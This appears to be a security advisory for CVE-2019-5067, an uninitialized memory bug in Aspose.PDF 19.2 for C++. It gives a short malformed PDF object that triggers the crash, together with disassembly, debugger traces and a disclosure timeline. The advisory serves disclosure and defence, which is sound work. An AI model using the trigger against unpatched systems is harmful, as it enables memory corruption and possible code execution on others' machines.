CVE-2019-5067
An uninitialized memory access vulnerability exists in the way Aspose.PDF 19.2 for C++ handles invalid parent object pointers. A specially crafted PDF can cause a read and write from uninitialized memory, resulting in memory corruption and possibly arbitrary code execution. To trigger this vulnerability, a specifically crafted PDF document needs to be processed by the target application.
Aspose.PDF 19.2 for C++
https://products.aspose.com/pdf
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Aspose provides a series of APIs for manipulating or converting a large family of document formats. Aspose.PDF is a library used for editing, writing, and rendering PDFs. The software provides a number of different language bindings to allow modification or creation of PDFs from a number of different developer environments.
Specific PDF objects, like a Page
object, can have pointers to their parent objects via Parent
reference. A bug exists in the way malformed Parent
pointers are handled by Aspose.PDF. An example of malformed object that triggers this vulnerability is:
3 0 obj
<</Parent 1 -1 R
>>
endobj
1 0 obj
<<
/Count 1
/Kids[3 0 R]
>>
endobj
In the above, object 3 0
has a pointer to Parent
object that has negative generation number. Aspose.PDF properly detects this condition as invalid and throws an ArgumentException via the following code while trying to render a page:
.text:00000001808EF100 loc_1808EF100: ; ...
.text:00000001808EF100 xor r8d, r8d
.text:00000001808EF103 lea rdx, aObjectid_0 ; "objectId"
.text:00000001808EF10A lea rcx, [rbp+400h+var_320]
.text:00000001808EF111
.text:00000001808EF111 loc_1808EF111: ; ...
.text:00000001808EF111 ; try {
.text:00000001808EF111 call sub_18007E220
.text:00000001808EF116 nop
.text:00000001808EF117 xor r8d, r8d
.text:00000001808EF11A lea rdx, aGenerationShou ; "Generation should be positive."
.text:00000001808EF121 lea rcx, [rbp+400h+var_2D0]
.text:00000001808EF121 ; } // starts at 1808EF111
.text:00000001808EF128
.text:00000001808EF128 loc_1808EF128: ; ...
.text:00000001808EF128 ; try {
.text:00000001808EF128 call sub_18007E3E0
.text:00000001808EF12D nop
.text:00000001808EF12E lea r8, [rbp+400h+var_320]
.text:00000001808EF135 lea rdx, [rbp+400h+var_2D0]
.text:00000001808EF13C lea rcx, [rbp+400h+var_160]
.text:00000001808EF13C ; } // starts at 1808EF128
.text:00000001808EF143
.text:00000001808EF143 loc_1808EF143: ; ...
.text:00000001808EF143 ; try {
.text:00000001808EF143 call sub_1800CB7E0
.text:00000001808EF148 lea rdx, __TI5?AUArgumentException@System@@ ; throw info for 'struct System::ArgumentException'
.text:00000001808EF148 ; throw info for 'struct System::ArgumentException'
.text:00000001808EF14F lea rcx, [rbp+400h+var_160]
.text:00000001808EF156 call _CxxThrowException
However, while executing the exception chain the not-yet-fully initialized object that caused the exception to be thrown is accessed leading to uninitialized memory read and write. With PageHeap enabled, and with carefully placed breakpoints before and after the exception is thrown, we can observe the following:
Aspose_PDF_vc141x64!Aspose::Pdf::InvalidPasswordException::InvalidPasswordException+0x3b5d:
00007ffd`8a44ee0d 44897f64 mov dword ptr [rdi+64h],r15d ds:00000207`28822e54=ffffffff
0:000> dd rdi
00000207`28822df0 8ce52cb0 00007ffd 8c157bd8 00007ffd
00000207`28822e00 c0c0c001 c0c0c0c0 00000000 00000000
00000207`28822e10 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000207`28822e20 c0c0c001 c0c0c0c0 2addafe8 00000207
00000207`28822e30 c0c0c0c0 c0c0c0c0 3d43dff0 00000207
00000207`28822e40 c0c00000 c0c0c0c0 8c157bf0 00007ffd
00000207`28822e50 ffffffff ffffffff c0c0c000 c0c0c0c0
00000207`28822e60 00000000 00000000 c0c0c0c0 c0c0c0c0
In the above, at the time when the object’s ID is being set in memory (from r15d
) we can see still uninitialized bytes in its memory. Continuing to the second breakpoint, after the exception is thrown, we can see the following:
Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x6bfc:
00007ffd`8a46592c 488d8ba0000000 lea rcx,[rbx+0A0h]
0:000> dd rbx
00000207`28822df0 8ce52cb0 00007ffd 8c157bd8 00007ffd
00000207`28822e00 c0c0c001 c0c0c0c0 00000000 00000000
00000207`28822e10 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000207`28822e20 c0c0c001 c0c0c0c0 2addafe8 00000207
00000207`28822e30 c0c0c0c0 c0c0c0c0 3d43dff0 00000207
00000207`28822e40 c0c00000 c0c0c0c0 8c157bf0 00007ffd
00000207`28822e50 ffffffff 00000001 c0c0c000 c0c0c0c0
00000207`28822e60 00000000 00000000 c0c0c0c0 c0c0c0c0
0:000> u
Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x6bfc:
00007ffd`8a46592c 488d8ba0000000 lea rcx,[rbx+0A0h]
00007ffd`8a465933 488b5c2438 mov rbx,qword ptr [rsp+38h]
00007ffd`8a465938 4883c420 add rsp,20h
00007ffd`8a46593c 5f pop rdi
00007ffd`8a46593d 48ff25242dc201 jmp qword ptr [Aspose_PDF_vc141x64!EnumMetaInfo<enum Aspose::Pdf::VerticalAlignment>::values+0x6ee5e8 (00007ffd`8c088668)]
We can see the same pointer to our object being moved into rcx
, still containing uninitialized memory. It is then being used as this
pointer in a call to object destructor which is supposed to free it. Continuing the execution results in the following crash when an uninitialized memory is used as a pointer:
(16b4c.16150): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 3250D:0
aspose_cpp_vc141x64!System::Object::~Object+0x22:
00007ffd`84c23c12 8b4108 mov eax,dword ptr [rcx+8] ds:c0c0c0c0`c0c0c0c8=????????
0:000> ub
aspose_cpp_vc141x64!System::Object::~Object+0x6:
00007ffd`84c23bf6 4883ec20 sub rsp,20h
00007ffd`84c23bfa 488d05273cb200 lea rax,[aspose_cpp_vc141x64!System::Math::E+0x870 (00007ffd`85747828)]
00007ffd`84c23c01 488bd9 mov rbx,rcx
00007ffd`84c23c04 488901 mov qword ptr [rcx],rax
00007ffd`84c23c07 488b4908 mov rcx,qword ptr [rcx+8]
00007ffd`84c23c0b 33ff xor edi,edi
00007ffd`84c23c0d 4885c9 test rcx,rcx
00007ffd`84c23c10 7414 je aspose_cpp_vc141x64!System::Object::~Object+0x36 (00007ffd`84c23c26)
By carefully controlling the memory contents before this uninitialized object is allocated an attacker could cause arbitrary memory read/write access which can lead to further memory corruption and can ultimately result in arbitrary code execution.
2019-07-29 - Vendor disclosure
2019-08-24 - Vendor acknowledged & advised issues under review
2019-09-16 - Vendor patched
2019-09-17 - Public disclosure
Discovered by Aleksandar Nikolic Cisco Talos.